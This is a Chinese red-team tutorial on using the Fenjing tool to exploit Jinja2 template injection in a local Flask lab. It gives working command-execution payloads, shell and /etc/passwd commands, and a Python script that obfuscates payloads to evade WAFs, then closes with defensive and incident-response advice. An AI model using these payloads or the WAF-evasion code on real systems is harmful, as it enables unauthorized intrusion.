公司动态
Fenjing自动化利用Jinja2 SSTI漏洞与WAF绕过实战
1. 项目概述当红队遇上Jinja2 SSTI在Web安全测试特别是红队评估中模板注入漏洞SSTI一直是一个极具价值的突破口。它不像SQL注入那样广为人知但一旦发现往往能直接通向服务器权限。而在众多模板引擎中基于Python的Jinja2因其在Flask、Django等主流框架中的广泛应用成为了我们重点“关照”的对象。手动测试Jinja2 SSTI是个技术活需要记忆大量Payload、理解沙盒环境、绕过可能的过滤过程繁琐且容易遗漏。直到我遇到了Fenjing——一个专门为Jinja2 SSTI设计的自动化漏洞利用工具。它不仅能快速检测更能一键生成可执行的命令注入Payload将我们从繁复的构造工作中解放出来。更关键的是实战中目标系统往往部署了WAFWeb应用防火墙通用的Payload瞬间就会被拦截。这就需要我们具备编写自定义WAF绕过脚本的能力将Fenjing的自动化与手动的绕过技巧结合起来形成一套高效的组合拳。这次我就结合一次真实的内部演练来详细拆解如何用Fenjing搞定Jinja2 SSTI并分享我编写自定义绕过脚本的思路与实战代码。2. Fenjing工具核心机制与部署实操2.1 Fenjing的工作原理不止于Payload生成很多人把Fenjing简单理解为一个Payload库这低估了它的价值。它的核心是一个“Payload生成器”加“上下文分析器”。当你提供一个可能存在SSTI的URL和参数时Fenjing会做以下几件事首先它会发送一系列探测请求这些请求包含精心设计的、用于判断模板引擎类型和版本的测试Payload。例如通过{{7*7}}、{{7*7}}或{7*7}等不同语法观察返回结果是49、7777777还是原样输出从而快速锁定是否为Jinja2以及其大致版本范围。这一步的准确性直接决定了后续利用的成功率。其次在确认Jinja2环境后Fenjing会尝试探测沙盒环境。Jinja2通常运行在一个受限的沙盒中许多内置函数和模块如os、subprocess是被禁止直接调用的。Fenjing内置了多种绕过沙盒的策略例如属性链构造利用Python的对象继承关系从已知的安全对象如request、config、self出发通过__class__、__mro__、__subclasses__等魔术方法一步步找到并实例化危险类如os._wrap_close、subprocess.Popen。字符串拼接与变形当关键字被过滤时使用如__class__、__cla%73%73__URL编码、__cla\x73\x73__十六进制等方式进行拼接绕过简单的字符串匹配。过滤器滥用Jinja2提供了丰富的过滤器如attr()用于获取属性、join()用于拼接列表为字符串。Fenjing会智能地使用这些过滤器来组装出它需要的函数调用链。最后基于分析结果Fenjing会动态生成一个完整的命令执行Payload。这个Payload不是固定的而是根据目标环境“量身定制”的因此通用性和成功率远高于网上流传的固定Payload。注意Fenjing的自动化探测会产生大量HTTP请求行为特征明显。在未经授权的测试中使用极易触发目标系统的安全告警甚至IP封禁。务必仅在授权范围内进行测试。2.2 从零开始部署与运行FenjingFenjing是一个Python工具部署非常简单。我推荐在Kali Linux或任何安装了Python3的Linux/Mac环境下进行。第一步获取Fenjing。最直接的方式是从GitHub克隆其仓库。git clone https://github.com/Project-Fenjing/fenjing.git cd fenjing第二步安装依赖。Fenjing依赖于一些第三方库使用pip一键安装即可。建议使用虚拟环境。pip3 install -r requirements.txt如果遇到网络问题可以考虑使用国内镜像源例如pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple第三步运行Fenjing。Fenjing提供了命令行和Web交互两种模式。对于红队测试命令行模式更高效。# 基本扫描模式对指定URL和参数进行全自动检测和利用 python3 fenjing.py scan --url http://target.com/vuln --method GET --data nametest # 完整利用模式尝试获取一个交互式shell python3 fenjing.py full --url http://target.com/vuln --method POST --data input* --shell这里有几个关键参数需要理解--url: 目标地址。--method: 请求方法GET或POST。--data: 请求参数。这里的*是一个占位符Fenjing会自动将Payload插入到这个位置。例如如果参数是dataid1name*那么Payload就会替换*的位置。--shell: 尝试在成功执行命令后反弹一个shell或启动一个交互式命令执行循环。在实际测试中我强烈建议先使用scan模式进行探测确认漏洞存在并了解环境信息。如果scan模式成功找到了可利用的路径再使用full模式尝试获取更稳固的访问权限。3. 实战场景深度解析从漏洞发现到命令执行3.1 靶场环境搭建与漏洞点识别为了还原真实场景我本地搭建了一个存在Jinja2 SSTI漏洞的Flask应用作为靶场。关键代码如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/greet, methods[GET]) def greet(): name request.args.get(name, Guest) # 危险操作直接将用户输入拼接到模板中 template fh1Hello, {name}!/h1 return render_template_string(template) if __name__ __main__: app.run(debugTrue)漏洞点非常清晰用户控制的name参数未经任何过滤直接通过f-string拼接到了模板字符串中随后交给了render_template_string函数渲染。这是一个典型的SSTI漏洞。启动靶场后我们首先进行手工验证。访问http://127.0.0.1:5000/greet?name{{7*7}}如果页面显示“Hello, 49!”而非“Hello, {{7*7}}!”那么SSTI漏洞就坐实了。3.2 使用Fenjing进行自动化攻击接下来我们让Fenjing上场。在命令行中执行python3 fenjing.py scan --url http://127.0.0.1:5000/greet --method GET --data name*Fenjing开始工作终端里滚动着大量的探测信息。它会先尝试判断引擎然后测试各种Payload。很快我们看到了期待的结果[] Jinja2 SSTI confirmed. [] Trying to find usable subclasses... [] Found usable class: class subprocess.Popen [] Payload generated: {{request.application.__globals__.__builtins__.__import__(os).popen(whoami).read()}} [] Command execution successful: output desktop-user\nFenjing成功识别了漏洞自动构建了从request对象到os.popen的调用链并执行了whoami命令返回了当前用户。整个过程完全自动化我们无需关心具体的魔术方法链是如何构造的。如果我们想执行更复杂的命令比如获取/etc/passwd文件内容或者反弹一个Shell可以使用full模式并配合--cmd参数或--shell参数。# 执行自定义命令 python3 fenjing.py full --url http://127.0.0.1:5000/greet --method GET --data name* --cmd cat /etc/passwd # 尝试获取交互式shell (Fenjing会尝试多种方式如python反向shell、nc等) python3 fenjing.py full --url http://127.0.0.1:5000/greet --method GET --data name* --shell在--shell模式下Fenjing如果成功会提供一个简单的命令行界面允许你持续输入命令并获取结果这对于后续的横向移动和信息收集至关重要。4. 进阶对抗编写自定义WAF绕过脚本4.1 常见WAF规则分析与绕过思路在真实网络中上述“裸奔”的Payload几乎百分之百会被WAF拦截。常见的云WAF或硬件WAF会对请求内容进行规则匹配关键词如__class__、__import__、os.popen、subprocess等都是高风险词汇。我们的绕过思路核心是“变形”让Payload在保持原有功能的前提下对WAF“不可读”。1. 字符串分割与拼接这是最基本也是最有效的方法。将敏感关键词拆分成多个部分在模板中利用Jinja2的字符串连接功能~或进行组合。原始__class__绕过“__cla”~“ss__”或[“__cla“”ss__“]|join2. 利用编码与进制转换Jinja2过滤器支持多种编码转换。URL编码使用|urlencode过滤器或直接在Payload中写入编码后的字符。class的URL编码是%63%6c%61%73%73但需要注意WAF也可能解码检查。十六进制/八进制编码将字符串转换为十六进制表示。“os”可以表示为“\x6f\x73”十六进制或“\157\163”八进制。在Jinja2中可以通过\xXX的形式直接使用。整数转字符利用chr()函数和|sum或|join过滤器。例如构造“os”可以写成[chr(111) chr(115)]|join。3. 属性访问的替代方式除了点号.Jinja2还可以用|attr()过滤器来访问属性。原始request.__class__绕过request|attr(“__class__”)或request|attr(“__cla”~“ss__”)4. 利用上下文中的已知对象有时直接从request、config等对象出发的路径会被封堵。可以尝试寻找其他内置对象或上下文变量比如self、namespace或者通过数字、字符串等基本类型的__class__向上追溯这条路径可能更长但更隐蔽。4.2 为Fenjing集成自定义绕过脚本Fenjing的强大之处在于它的可扩展性。它允许我们编写自定义的“生成器”和“扫描器”来集成我们的绕过技巧。这里我分享一个实战中编写的简单绕过脚本示例它主要实现字符串随机分割与拼接。我们创建一个Python文件例如my_waf_bypass.pyimport random import string from fenjing.payload_gen import PayloadGenerator class MyWAFBypassGenerator(PayloadGenerator): 自定义WAF绕过Payload生成器 def __init__(self): super().__init__() def bypass_string(self, original_string): 对给定字符串进行随机分割与拼接绕过 if len(original_string) 2: # 太短的字符串不处理 return f{original_string} # 随机决定分割成几段2-4段 num_parts random.randint(2, min(4, len(original_string))) parts [] indices sorted(random.sample(range(1, len(original_string)), num_parts-1)) start 0 for end in indices: parts.append(original_string[start:end]) start end parts.append(original_string[start:]) # 最后一段 # 随机选择拼接方式使用 ~ 或 或 list|join method random.choice([tilde, plus, join]) if method tilde: # 使用 ~ 拼接如 ab~cd payload_parts [f{part} for part in parts] return ~.join(payload_parts) elif method plus: # 使用 拼接 payload_parts [f{part} for part in parts] return .join(payload_parts) else: # 使用列表和join过滤器拼接如 [ab,cd]|join list_str [ ,.join([f{part} for part in parts]) ] return list_str |join def generate_os_popen(self, command): 生成一个绕过WAF的 os.popen 调用链 # 1. 绕过 __import__ 字符串 import_str self.bypass_string(__import__) # 2. 绕过 os 字符串 os_str self.bypass_string(os) # 3. 构造 payload # 基础路径request.application.__globals__.__builtins__ base request.application.__globals__.__builtins__ # 动态拼接 payload f{{{base}.{import_str}({os_str}).popen({command}).read()}}} return payload # 在Fenjing中注册这个生成器 # 通常需要在修改fenjing的源代码或通过配置加载这里演示核心思路这个脚本定义了一个简单的生成器它会将__import__和os这样的关键词随机切分成2到4段然后用~、或列表|join的方式随机选择一种进行拼接。这样每次生成的Payload形态都不同增加了绕过基于静态规则匹配的WAF的概率。要在Fenjing中使用它你需要根据Fenjing的插件架构将其集成到Payload生成流程中。通常需要找到Fenjing中负责生成最终Payload的模块如payload_gen.py并添加或替换其中的字符串生成逻辑。由于Fenjing版本可能更新具体集成点需要查阅其源码结构。核心思想是劫持或扩展其关键词字符串的生成函数将其替换为我们自己的bypass_string方法。4.3 绕过脚本的实战测试与迭代编写完脚本后绝不能直接用于生产环境。必须进行充分的测试。第一步本地测试。在本地搭建一个带有简单WAF规则的测试环境例如使用ModSecurity的核心规则集。用脚本生成的Payload去攻击本地靶场观察是否被拦截同时用Burp Suite等工具查看原始请求确保Payload格式正确。第二步静态分析。将生成的Payload在Jinja2的沙盒环境可以写一个简单的Python脚本模拟中执行确保其功能与原Payload完全一致能够正确解析并执行命令。第三步动态模糊测试。编写一个循环让脚本生成数百个不同形态的Payload分别发送给测试WAF。统计绕过成功率。这个过程可能会发现一些边界情况比如当字符串被分割后某些特殊字符导致的语法错误或者|join过滤器在某些上下文不可用等问题。根据测试结果反复调整分割策略、拼接方法以及编码方式。第四步集成与验证。将稳定的绕过脚本集成到Fenjing后再次对靶场进行全流程测试从扫描到获取shell确保整个工具链工作正常。实操心得WAF绕过是一场持续的猫鼠游戏。今天有效的绕过方法明天可能就被加入规则库。因此自定义脚本不应该是一成不变的。最好的实践是维护一个“绕过技巧库”包含多种方法编码、分割、大小写变形、注释插入、空白符干扰等并在每次生成Payload时随机组合使用从而最大化绕过概率。同时密切关注意识到Payload被拦截时的WAF反馈如特定的HTTP状态码、响应头信息这些是调整绕过策略的重要线索。5. 防御视角与排查指南5.1 从开发与运维角度加固系统作为红队我们挖掘漏洞但知其然亦需知其所以然了解如何防御才能更深刻地理解攻击。针对Jinja2 SSTI根本的防御措施是永远不要信任用户输入特别是不要将其直接作为模板或模板的一部分进行渲染。严格使用静态模板所有模板文件都应该是预定义的、静态的.html或.jinja2文件。使用render_template()函数并传递变量而不是render_template_string()。不安全render_template_string(user_input)安全render_template(index.html, usernameuser_input)在模板中通过{{ username }}来安全地显示经过转义的内容。输入验证与过滤如果业务上确实需要动态模板如一些CMS的自定义页面功能必须实施严格的白名单过滤。只允许用户输入有限的、安全的HTML标签和属性可以使用bleach等库进行清理并绝对禁止任何模板语法字符如{ {、} }、{%、%}等。启用Jinja2沙盒确保Jinja2环境在沙盒模式下运行。虽然沙盒可以被绕过但它极大地提高了攻击门槛。在创建Jinja2环境时检查相关配置。代码审计与自动化扫描将render_template_string、Template、Environment.from_string等函数加入代码审计的关键词列表。在CI/CD流程中集成SAST静态应用安全测试工具自动扫描此类危险代码模式。5.2 攻击痕迹排查与应急响应如果怀疑系统遭受了SSTI攻击蓝队或运维人员可以按照以下步骤进行排查日志分析立即检查Web服务器如Nginx、Apache的访问日志和应用日志Flask的debug log或配置的日志文件。搜索异常请求特征包括包含大量{ {、} }、__双下划线、class、import、os、subprocess、popen、eval等关键词的URL参数或POST数据。参数值异常长或包含明显的编码字符%xx\xXX。来自单个IP在短时间内的大量、类似的探测请求。进程与网络连接检查在服务器上执行命令查看是否有可疑进程或外连。# 查看当前运行的进程特别关注python、sh、bash、nc、curl、wget等 ps aux | grep -E (python|sh|bash|nc|curl|wget) # 查看网络连接寻找可疑的外连特别是反向shell netstat -antp | grep ESTABLISHED # 查看计划任务、系统服务、启动项是否有被篡改 crontab -l systemctl list-units --typeservice --staterunning文件系统监控检查Web目录、临时目录/tmp/var/tmp是否有新创建的、可疑的文件特别是以.py、.sh、.php命名的文件或者名称怪异的文件。WAF/IDS规则更新分析被拦截或成功的攻击Payload提取其特征如特定的字符串分割模式、编码方式及时更新WAF和入侵检测系统的规则库。漏洞修复一旦确认漏洞点立即按照上述防御措施进行修复。最直接有效的方法是将render_template_string调用替换为安全的render_template。如果暂时无法修改代码可以考虑在Web应用前端如Nginx配置紧急规则拦截包含模板语法特征的请求。真正的安全是动态的博弈。红队工具如Fenjing的出现降低了漏洞利用的门槛这迫使蓝队和开发者必须提升自己的水位线。而作为红队成员深入理解工具背后的原理并具备定制化绕过防御的能力是从“脚本小子”迈向专业安全研究员的关键一步。工具永远在迭代攻防的思路才是核心。